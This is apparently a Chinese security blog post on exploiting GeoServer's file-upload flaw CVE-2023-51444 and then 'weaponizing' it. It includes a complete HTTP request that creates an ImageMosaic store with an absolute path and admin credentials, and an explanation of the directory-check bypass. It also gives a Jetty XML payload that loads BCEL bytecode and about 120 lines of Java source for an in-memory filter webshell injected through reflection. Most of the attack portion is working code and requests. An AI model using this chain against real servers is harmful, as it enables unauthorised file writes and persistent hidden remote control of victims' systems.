在Geoserver后台文件上传漏洞的POC(CVE-2023-51444)公开出来之后,发现对于漏洞利用有一些迷惑的的地方,且最终利用还存在部分瑕疵,于是展开了后续的学习研究。
漏洞利用
根据公开的漏洞分析文章显示,漏洞利用主要分为两部分。
1.通过rest接口新建mosaic类型的coveragestrore
空间。
2.通过rest访问新建coveragestrore
空间跨目录上传文件。
这里启动一个geoserver-2.19.1
版本来做测试。
通过公开文章的复现,可以发现,新建mosaic类型的coveragestrore空间
这一步实际上是通过数据存储功能-添加数据源来实现的
注意这里是mosaic_sample
添加完之后,会在data_dir/workspaces/<工作区>
生成一个包含数据源名称的目录,里面包含coverageStore.xml
文件。
对于这个请求的数据包的格式很奇怪。
会产生这个疑惑来源于拿到的payload完全跟它不一样,但结果是一样的。通过查阅官方文档,发现原因是geoserver提供了restful接口来进行资源修改。
也就是说,通过geoserver的restapi
可以实现geoserver的任意功能。通过前面分析,我们最终是写入一个coverageStore.xml
文件,我们尝试是否可以通过rest来实现这个结果。
通过查看/workspace接口下的的接口文档https://docs.geoserver.org/latest/en/api/#1.0.0/workspaces.yaml,发现接口描述并不清晰,只给出了大致路径
只能从日志着手,从日志查看发现是调用了org.geoserver.rest.catalog.CoverageStoreController.coverageStorePost
对应的path为/rest/workspaces/{workspaceName}/coveragestores
所以这里我们的这里只需要post请求对应的xml内容即可,注意这里的url的workspaceName对应的是xml的<workspace><name>sde</name></workspace>
,因为在请求过程中会在org.geoserver.catalog.impl.CatalogImpl#validate
进行校验对应的storeName,如果workspaceName对应不起来是找不到的。
请求包如下,这样就算添加coveragestores成功。
具体数据包如下,这里post内容实际上只对最开始的xml内容做了微小改动,去除了id,添加了workspaceName。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
POST /geoserver/rest/workspaces/sde/coveragestores HTTP/1.1
Host: 192.168.1.4:18080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_15_1; rv:121.0esr) Gecko/20010101 Firefox/121.0esr
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.4:18080/geoserver/index.html
Connection: close
Upgrade-Insecure-Requests: 1
Authorization: Basic YWRtaW46Z2Vvc2VydmVy
Content-Type: application/xml
Content-Length: 265
<coverageStore>
<name>bypass</name>
<description>111</description>
<type>ImageMosaic</type>
<enabled>true</enabled>
<workspace><name>sde</name>
</workspace>
<__default>false</__default>
<url>file:coverages/mosaic_sample</url>
</coverageStore>
|
在添加完之后,就是后续的上传了,这里只对代码做简单分析,上传代码在org.geoserver.rest.catalog.CoverageStoreFileController#coverageStorePost
传递的参数都很明显,workspaceName和storeName都是前面分析过的,这里method是AbstractStoreUploadController.UploadMethod
类型
它实际上是一个常量类
这里怎么选择到底是哪个常量呢,需要继续分析上传的代码,根据代码来看,上传应该是doFileUpload
触发
需要注意这里还需要满足StructuredGridCoverage2DReader
,查看这个接口的实现类
也就是传递mosaic
类型的就行了。
继续跟进上传这个方法的定义
很明显我们需要进行else分支才可以创建对应workspace的store资源,根据前面来看,不能是remote
和url
,继续往下面看
createUploadRoot
发现path就是coverage
的file参数,也就是xml的file参数,path基本未发生变化。然后到了handleFileUpload
在常量是file的时候进入RESTUtils.handleBinUpload(filename, directory, cleanPreviousContents, request, workspace);
,继续往下面看
最终写入的路径是newFile的值,所以主要关注它的改动,发现itemPath
就是一个字符串类型转换而已,最后又变成字符串了,接下来试试上传。
抛出了异常
查看代码发现ToPath过滤了三个部分,如下
主要是目录穿越和特殊符号。
于是从刚刚的上传调用栈继续往后分析
进入这个get方法
基本不存在其他分支了,要绕过的话需要继续往前回溯,directory参数是createRoot的时候获取的,查看
继续查看Resources.fromPath
发现里面通过isAbsolute来判断是否是绝对路径,是的话调用asResource,返回ResourceAdaptor
类型。
发现是直接返回文件的绝对路径。也就是说我们需要控制createRoot的path参数为绝对路径即可,也就是第一步创建store的时候的url。
上传成功。文件最后的位置实际上就是url参数+filename参数。
武器化
说完了漏洞利用,实战中有同事发现实际环境中基本不存在jsp解析依赖,导致上传不了webshell,这时候就需要利用jetty的xml配置文件解析来注入内存马。
当jdk小于8u251
的时候,利用bcel的classloader
来加载任意字节码,参考jetty xml trick
payload如下
1
2
3
4
5
6
7
8
9
10
|
<?xml version="1.0"?>
<!DOCTYPE Configure PUBLIC "-//Jetty//Configure//EN" "http://www.eclipse.org/jetty/configure_9_3.dtd">
<Configure id="abc" class="org.eclipse.jetty.webapp.WebAppContext">
<New id="cl" class="com.sun.org.apache.bcel.internal.util.ClassLoader">
<Call name="loadClass">
<Arg>$$BCEL$$xxx</Arg>
<Call name="newInstance"></Call>
</Call>
</New>
</Configure>
|
对于字节码的类
参考jetty的filter内存马
需要做一部分改动,首先是由于双亲委派的原因,bcel的ClassLoader无法使用servlet-api的相关类,需要用starjar的classloader或者webappclassloader来加载对应类,如下
1
|
threadClassloader.loadClass("javax.servlet.Filter");
|
然后是对应filter的类,利用defineClass来加载到WebAppClassLoader
。需要注意对应servlet-api的所有类均不能直接调用,只能使用反射的方法实现。
具体代码实现如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
|
package com.bypass;
import sun.misc.BASE64Decoder;
import java.lang.reflect.*;
import java.util.*;
public class xxx {
private static synchronized Object getField(Object o, String k) throws Exception{
Field f;
try {
f = o.getClass().getDeclaredField(k);
} catch (NoSuchFieldException e) {
try{
f = o.getClass().getSuperclass().getDeclaredField(k);
}catch (Exception e1){
f = o.getClass().getSuperclass().getSuperclass().getDeclaredField(k);
}
}
f.setAccessible(true);
return f.get(o);
}
static {
try {
String filterName = "com.bypass.xxx";
String urlPatter = "/bypass";
Method threadMethod = Class.forName("java.lang.Thread").getDeclaredMethod("getThreads");
threadMethod.setAccessible(true);
Thread[] threads = (Thread[]) threadMethod.invoke(null);
java.lang.ClassLoader threadClassloader = null;
for (Thread thread:threads){
threadClassloader = thread.getContextClassLoader();
if (threadClassloader!=null){
if (threadClassloader.toString().contains("WebAppClassLoader")){
Object webAppContext = getField(threadClassloader,"_context");
Object servletHandler = getField(webAppContext,"_servletHandler");
Object[] filters = (Object[]) getField(servletHandler,"_filters");
Boolean flag = false;
for (Object f:filters){
Field fieldFilerName = f.getClass().getSuperclass().getDeclaredField("_name");
fieldFilerName.setAccessible(true);
String name = (String) fieldFilerName.get(f);
System.out.println(name);
if (name.equals(filterName)){
flag = true;
break;
}
}
if (flag){
System.out.println("[+] exist filter!! " + filterName);
break;
}
System.out.println("[+] Add Filter: " + filterName);
System.out.println("[+] urlPattern: " + urlPatter);
threadClassloader.loadClass("javax.servlet.Filter");
threadClassloader.loadClass("javax.servlet.ServletRequest");
threadClassloader.loadClass("javax.servlet.ServletResponse");
threadClassloader.loadClass("javax.servlet.FilterChain");
threadClassloader.loadClass("javax.servlet.FilterConfig");
threadClassloader.loadClass("javax.servlet.http.HttpServletRequest");
threadClassloader.loadClass("javax.servlet.http.HttpServletResponse");
threadClassloader.loadClass("javax.servlet.http.HttpServletRequest");
threadClassloader.loadClass("javax.servlet.http.HttpSession");
System.out.println("[+] end javax!");
Method a = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
a.setAccessible(true);
String clasz = "base64编码";
byte[] b = (new BASE64Decoder()).decodeBuffer(clasz);
System.out.println("[+] "+threadClassloader);
System.out.println("[+] start load Filter!");
a.invoke(threadClassloader, b, 0, b.length);
System.out.println("[+]defineClass加载成功! ");
System.out.println("[+] start get Filter!");
Class<?> hFilterClass = threadClassloader.loadClass("com.bypass.TestFilter");
System.out.println("[+] "+hFilterClass);
System.out.println("[+] end load Filter!");
Object HFilter = hFilterClass.newInstance();
System.out.println("[+] 获取HFilter! "+ hFilterClass.newInstance());
System.out.println("[+] "+servletHandler.getClass());
//反射获取JAVA_API
Class sourceClazz = servletHandler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.Source");
Field API = sourceClazz.getDeclaredField("JAVAX_API");
Method newFilterHolder = servletHandler.getClass().getMethod("newFilterHolder",sourceClazz);
Object holder = newFilterHolder.invoke(servletHandler, API.get(null));
System.out.println("[+] 获取FilterHolder "+holder.getClass());
//setName、setFilter、addFilter
holder.getClass().getMethod("setName",String.class).invoke(holder, filterName);
holder.getClass().getMethod("setFilter", HFilter.getClass().getInterfaces()[0]).invoke(holder, HFilter);
servletHandler.getClass().getMethod("addFilter",holder.getClass()).invoke(servletHandler,holder);
//FilterMapping
Class FilterMappingClz = servletHandler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterMapping");
Object FilterMapping = FilterMappingClz.newInstance();
Method setFilterHolder = FilterMapping.getClass().getDeclaredMethod("setFilterHolder",holder.getClass());
setFilterHolder.setAccessible(true);
setFilterHolder.invoke(FilterMapping,holder);
FilterMapping.getClass().getMethod("setPathSpecs",String[].class).invoke(FilterMapping,new Object[]{new String[]{urlPatter}});
//获取DispatcherType.REQUEST
Class Dis = threadClassloader.loadClass("javax.servlet.DispatcherType");
Object request = Dis.getDeclaredField("REQUEST").get(null);
System.out.println("[+] 获取DispatcherType "+request);
//转换枚举常量
System.out.println("[+] 获取DispatcherType枚举常量 "+EnumSet.of(Enum.valueOf(Dis,"REQUEST")));
FilterMapping.getClass().getMethod("setDispatcherTypes",EnumSet.class).invoke(FilterMapping,EnumSet.of(Enum.valueOf(Dis,"REQUEST")));
servletHandler.getClass().getMethod("prependFilterMapping",FilterMapping.getClass()).invoke(servletHandler,FilterMapping);
System.out.println("[+] FilterMapping! "+FilterMapping);
System.out.println("success!");
break;
}
}
}
}catch (Exception exception){}
}
}
|
冰蝎马的逻辑
接下来利用woodpecker生成bcel字节码。
上传xml到webapps目录。
触发内存马逻辑。
访问发现注入成功,连接内存马
后续
当然bcel的缺陷也很明显,jdk8u251之后移除了这个加载字节码的classloader,对于高版本的jdk,17or21,则需要利用其他办法来解决,不过已经有师傅公开过诸多文章,这里就不详细描述,感兴趣可自行实现或联系我一起讨论交流。